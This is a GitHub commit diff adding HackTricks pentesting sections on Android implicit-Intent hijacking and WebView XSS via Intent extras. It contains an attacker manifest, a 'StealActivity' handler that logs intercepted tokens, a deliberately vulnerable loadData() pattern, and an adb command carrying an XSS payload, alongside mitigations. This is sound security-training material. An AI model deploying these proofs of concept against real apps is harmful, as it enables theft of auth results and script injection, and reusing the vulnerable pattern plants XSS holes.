Skip to content

Commit 1286411

Browse files
author
HackTricks News Bot
committed
Add content from: Android Intents (1/2): how they work, security, and attack e...
1 parent f847338 commit 1286411

File tree

2 files changed

+114
-0
lines changed

2 files changed

+114
-0
lines changed

src/mobile-pentesting/android-app-pentesting/intent-injection.md

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -201,6 +201,82 @@ Mitigations (developer checklist)
201201

202202
---
203203

204+
## Intent Hijacking (implicit intents)
205+
206+
Threat model
207+
- App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action).
208+
- Attacker App C publishes an exported component with a matching `<intent-filter>` for the same `action`/`category`/`data`. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.
209+
210+
Minimal PoC manifest (attacker):
211+
```xml
212+
<activity android:name=".StealActivity" android:exported="true">
213+
<intent-filter>
214+
<action android:name="com.victim.app.ACTION_CALLBACK"/>
215+
<category android:name="android.intent.category.DEFAULT"/>
216+
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
217+
<!-- <data android:mimeType="application/json"/> -->
218+
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
219+
</intent-filter>
220+
</activity>
221+
```
222+
Handler skeleton:
223+
```java
224+
public class StealActivity extends Activity {
225+
@Override protected void onCreate(Bundle b) {
226+
super.onCreate(b);
227+
Intent i = getIntent();
228+
Bundle extras = i.getExtras();
229+
Uri data = i.getData();
230+
// Dump/forward sensitive result
231+
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
232+
finish();
233+
}
234+
}
235+
```
236+
237+
Notes
238+
- Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
239+
- This also applies to deep links (`VIEW` + `BROWSABLE`) when apps expect another app to handle a URL and return something back.
240+
241+
Pentest guidance
242+
- Grep the target for `startActivity`/`startActivityForResult`/`registerForActivityResult` calls using non-explicit Intents.
243+
- Inspect Intents carrying tokens in `extras`, `clipData`, or `getData()` and see whether a third-party could register a compatible filter.
244+
- Recommend replacing implicit flows with explicit Intents (set `setPackage()`/`setComponent()`), or requiring caller-permission/signed permissions on exported receivers/services.
245+
246+
Mitigations
247+
- Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results).
248+
- When cross-app is necessary, add permission requirements to the receiving component and validate caller identity.
249+
- Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME).
250+
251+
---
252+
253+
## Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
254+
255+
When you control the sender, add `Intent.FLAG_DEBUG_LOG_RESOLUTION` to an implicit Intent to make Android log how resolution happens and which component will be selected.
256+
257+
Example:
258+
```java
259+
Intent intent = new Intent();
260+
intent.setAction("android.media.action.IMAGE_CAPTURE");
261+
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
262+
startActivityForResult(intent, 42);
263+
```
264+
What you’ll see in `adb logcat` is the resolution trace and the final component, e.g. `com.android.camera2/com.android.camera.CaptureActivity`.
265+
266+
CLI tip
267+
```bash
268+
# You can also set the debug flag from adb when firing an implicit Intent
269+
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
270+
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
271+
272+
# Then inspect the resolution in logs
273+
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
274+
```
275+
276+
This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing.
277+
278+
---
279+
204280
## References
205281

206282
- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
@@ -219,5 +295,7 @@ Mitigations (developer checklist)
219295
- [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837)
220296
- [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438)
221297
- [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116)
298+
- [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)
299+
- [Android Intent reference](https://developer.android.com/reference/android/content/Intent)
222300

223301
{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/webview-attacks.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -383,6 +383,41 @@ xhr.open(
383383
xhr.send(null)
384384
```
385385

386+
## WebView XSS via Intent extras → loadData()
387+
388+
A frequent vulnerability is reading attacker-controlled data from an incoming `Intent` extra and injecting it directly into a WebView via `loadData()` with JavaScript enabled.
389+
390+
Vulnerable pattern (exported Activity reads extra and renders it as HTML):
391+
```java
392+
String data = getIntent().getStringExtra("data");
393+
if (data == null) { data = "Guest"; }
394+
WebView webView = findViewById(R.id.webview);
395+
webView.getSettings().setJavaScriptEnabled(true);
396+
webView.setWebChromeClient(new WebChromeClient());
397+
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
398+
webView.loadData(userInput, "text/html", "UTF-8");
399+
```
400+
401+
If that Activity is exported (or reachable through an exported proxy), a malicious app can supply HTML/JS in the `data` extra to achieve reflected XSS:
402+
```bash
403+
# Replace package/component with the vulnerable Activity
404+
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
405+
```
406+
407+
Impact
408+
- Arbitrary JS in the app’s WebView context: enumerate/use `@JavascriptInterface` bridges, access WebView cookies/local storage, pivot to file:// or content:// depending on settings.
409+
410+
Mitigations
411+
- Treat all Intent-derived inputs as untrusted. Escape (`Html.escapeHtml`) or reject HTML; prefer rendering untrusted text as text, not HTML.
412+
- Keep JavaScript disabled unless strictly required; do not enable `WebChromeClient` for untrusted content.
413+
- If you must render templated HTML, use `loadDataWithBaseURL()` with a safe base and CSP; separate trusted/untrusted WebViews.
414+
- Avoid exposing the Activity externally or protect it with permissions when not needed.
415+
416+
Related
417+
- See Intent-based primitives and redirection in: [Intent Injection](intent-injection.md)
418+
419+
420+
386421
## References
387422

388423
- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
@@ -393,6 +428,7 @@ xhr.send(null)
393428
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
394429
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
395430
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
431+
- [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)
396432

397433
{{#include ../../banners/hacktricks-training.md}}
398434

0 commit comments

Comments
 (0)